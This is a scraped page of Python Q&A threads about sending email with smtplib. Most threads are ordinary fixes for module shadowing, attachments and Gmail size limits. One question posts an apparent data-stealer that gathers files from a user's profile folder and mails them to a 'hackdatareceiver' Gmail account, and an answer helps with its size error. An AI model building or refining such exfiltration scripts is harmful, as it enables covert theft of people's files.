This code is "suppose" to send an email.
import smtplib
#SERVER = "localhost"
FROM = 'myEmail#email.com'
TO = ["toEmail#email.com"] # must be a list
SUBJECT = "Hello!"
TEXT = "This message was sent with Python's smtplib."
# Prepare actual message
message = """\
From: %s
To: %s
Subject: %s
%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
# Send the mail
server = smtplib.SMTP('myserver')
server.sendmail(FROM, TO, message)
server.quit()
I get this error message.
Traceback (most recent call last):
File "C:\Users\myCpu\Documents\myFiles\python\test wy.py", line 1, in <module>
import smtplib
File "C:\Python27\lib\smtplib.py", line 46, in <module>
import email.utils
File "C:/Users/myCpu/Documents/myFiles/python\email.py", line 5, in <module>
ImportError: No module named mime.text
Using:
Python 2.7
Windows 7 Professionnal
Gmail (#gmail.com)
Can anyone help me with this code?
This is what I did for gmail.
Hope this sloves your problem
from email.mime.text import MIMEText
def construct_mesage():
message = MIMEText(message_text)
message['to'] = to
message['from'] = sender
message['subject'] = subject
return {'raw': base64.urlsafe_b64encode(message.as_string())}
Rename the file you are working on named email.py to something else. It is likely breaking imports in your libraries.
Related
I want to send a file through Gmail and I'm having trouble
I want to send a file through Gmail and I'm having trouble
I want to send a file through Gmail and I'm having trouble
I replaced gmails and passwords, but the problem did not resolve
I replaced gmails and passwords, but the problem did not resolve
I replaced gmails and passwords, but the problem did not resolve
Maybe there's a problem with the addresses. Please help me
Maybe there's a problem with the addresses. Please help me
Maybe there's a problem with the addresses. Please help me
my error :
Traceback (most recent call last):
File "C:\Users\Michael\Desktop\windows.information.py", line 83, in <module>
filenames)
File "C:\Users\Michael\Desktop\windows.information.py", line 75, in mail
mailServer.sendmail(gmail_user, to, msg.as_string())
File "C:\Program Files 1\Python2\lib\smtplib.py", line 737, in sendmail
raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (552, "5.2.3 Your message exceeded Google's message size limits. Please visit\n5.2.3 https://support.google.com/mail/?p=MaxSizeError to view our size\n5.2.3 guidelines. f192sm642881wmg.14 - gsmtp", 'hackdatasender#gmail.com')
my script:
import os
import getpass
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.MIMEBase import MIMEBase
from email import Encoders
windowsDrive = os.environ['WINDIR'].split(":\\")[0]
userName = getpass.getuser()
# ===== Set up crap for the attachments
files = windowsDrive+':\\Users\\'+userName+'\\windows.information'
filenames = [os.path.join(files, f) for f in os.listdir(files)]
## ===== print filenames
## ===== Set up users for email
gmail_user = "hackdatasender#gmail.com"
gmail_pwd = "******"
recipients = ['hackdatareceiver#gmail.com']
# ===== Create Module
def mail(to, subject, text, attach):
msg = MIMEMultipart()
msg['hackdatasender#gmail.com'] = gmail_user
msg['hackdatareceiver#gmail.com'] = ", ".join(recipients)
msg['Subject'] = subject
msg.attach(MIMEText(text))
## ===== get all the attachments
for file in filenames:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(file, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % file)
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to, msg.as_string())
## ===== Should be mailServer.quit(), but that crashes...
mailServer.close()
# ====== send it
mail(recipients,
"*** M.1.G.0.A.4.W ***",
"M.1.G.0.A.4.W",
filenames)
How to send files over 25 MB in size?
The error you are receiving is indicating that the file you are sending is too large.
Your message exceeded Google's message size limits.
The official Gmail documentation (link) states:
You can send up to 25 MB in attachments. If you have more than one
attachment, they can't add up to more than 25 MB.
I want to import the smtplib to the sikuli script I'm writing so Sikuli can send email automatically when the test is finished.
However, I encounter a problem that Sikuli cannot find the smtplib module in Python which I am sure it is installed and located in the Python27/Lib directory. Below is the code I am using. I use SikuliX 1.1.0 and Python 2.7.
import smtplib
sender = '<email address hidden>'
receivers = ['<email address hidden>']
message = """From: From Person <email address hidden>
To: To Person <email address hidden>
Subject: SMTP e-mail test
This is a test e-mail message.
"""
try:
smtpObj = smtplib.SMTP('test.com.hk')
smtpObj.sendmail(sender, receivers, message)
print "Successfully sent email"
except:
print "Error: unable to send email"
When I run it in Sikuli IDE, it gives me:
"[error] script [ send ] stopped with error in line 2
[error] ImportError ( No module named utils )
[error] --- Traceback --- error source first line: module ( function ) statement 46: smtplib ( ) import email.utils
[error] --- Traceback --- end --------------"
Can anyone help? Thanks
You have a file called email.py somewhere in your sys.path, which is shadowing the standard library's email package - it might even be the script you're testing.
https://docs.python.org/2/library/email.html
To fix, use anything else as the module/file name.
akg#limbo:~/scratch.d/20151012-stack33095084$ cat email.py
import smtplib
sender = '<email address hidden>'
receivers = ['<email address hidden>']
message = """From: From Person <email address hidden>
To: To Person <email address hidden>
Subject: SMTP e-mail test
This is a test e-mail message.
"""
try:
smtpObj = smtplib.SMTP('test.com.hk')
smtpObj.sendmail(sender, receivers, message)
print "Successfully sent email"
except:
print "Error: unable to send email"
akg#limbo:~/scratch.d/20151012-stack33095084$ python email.py
Error: unable to send email
Traceback (most recent call last):
File "email.py", line 1, in <module>
import smtplib
File "/usr/lib/python2.7/smtplib.py", line 46, in <module>
import email.utils
ImportError: No module named utils
akg#limbo:~/scratch.d/20151012-stack33095084$ mv email.py anything_but_email.py
akg#limbo:~/scratch.d/20151012-stack33095084$ python anything_but_email.py
Error: unable to send email
I am trying to use jython code from JIRA post function
I have create a file called foo,py and placed into jython Lib directory
foo.py looks like
from email.MIMEText import MIMEText
from smtplib import SMTPException
from smtplib import SMTP
class my_mail(object):
def spam(subj, to, body):
msg = MIMEText(body, 'html')
msg['Subject'] = subj
msg['To'] = to
msg['Importance'] = 'high'
sender = 'abd#abd.com'
passwd = 'password'
s = SMTP('smtp.office365.com', 587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(sender, passwd)
s.sendmail(sender, [to], msg.as_string())
s.quit()
The calling program looks like
to = 'abcd#bad.com'
sub = " test "
body " some body"
import foo
nmail = foo.my_mail()
nmail.spam(subj, to, body)
With this, I always get error
root cause:
Traceback (most recent call last): File "<string>", line 35, in <module> File "/usr2/atlassian/application-data/jira/jss/jython_2.5.2/Lib/foo.py", line 18, in spam s.starttls() NameError: global name 'server' is not defined
No matter what I do, it is always line 18 in foo.py :-(
This foo.py works fine, if I use command line python with same function call.
Any suggestions?
This question already has answers here:
How to send email attachments?
(19 answers)
Closed 8 years ago.
So I'm trying to send a .txt file as an attachment and I can't find the right code to work. Here is my code:
import pythoncom
import win32gui
import win32console
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
fromaddr = 'zover1#gmail.com'
toaddrs = 'zover2#gmail.com'
msg = "contrl text file"
username = 'zover1#gmail.com'
password= 'xxxxxxxxxxxx'
server = smtplib.SMTP('smtp.gmail.com:587')
f = file("d:/control.txt")
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename="d:/control.txt")
msg.attach(attachment)
server.ehlo()
server.starttls()
server.login(username, password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
And when I run the module I get this error:
Traceback (most recent call last):
File "C:\Python278\emailonlytester.pyw", line 19, in <module>
msg.attach(attachment)
AttributeError: 'str' object has no attribute 'attach'
Any help would be much appreciated.
You can try this to send an attached file with python:
msg = MIMEMultipart()
msg['From'] = 'your adress'
msg['To'] = 'someone'
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = 'a random subject'
msg.attach(MIMEText("some text"))
file = 'd:/control.txt'
attachment = MIMEBase('application', 'octet-stream')
attachment.set_payload(open(file,'rb').read())
encoders.encode_base64(attachment)
attachment.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attachment)
This is the part for the creation of the Email, not the sending.
The error is clearly stating the reason. msg is a string in your case. You may want to do the following instead:
msg = MIMEMultipart()
Docs are here.
I am trying to email a results file. I am getting an import error:
Traceback (most recent call last):
File "email_results.py", line 5, in ?
from email import encoders
ImportError: cannot import name encoders
I am also unsure on how to get this to connect to the server. Can anyone help? Thanks
#!/home/build/test/Python-2.6.4
import smtplib
import zipfile
import tempfile
from email import encoders
from email.message import Message
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
def send_file_zipped(the_file, recipients, sender='myname#myname.com'):
zf = tempfile.TemporaryFile(prefix='mail', suffix='.zip')
zip = zipfile.ZipFile(zf, 'w')
zip.write(the_file)
zip.close()
zf.seek(0)
# Create the message
themsg = MIMEMultipart()
themsg['Subject'] = 'File %s' % the_file
themsg['To'] = ', '.join(recipients)
themsg['From'] = sender
themsg.preamble = 'I am not using a MIME-aware mail reader.\n'
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment',filename=the_file + '.zip')
themsg.attach(msg)
themsg = themsg.as_string()
# send the message
smtp = smtplib.SMTP()
smtp.connect()
smtp.sendmail(sender, recipients, themsg)
smtp.close()
The problem isn't that you can't connect to the server, it's that you aren't able to import email.encoders for some reason. Do you have a file named email.py or email.pyc by any chance?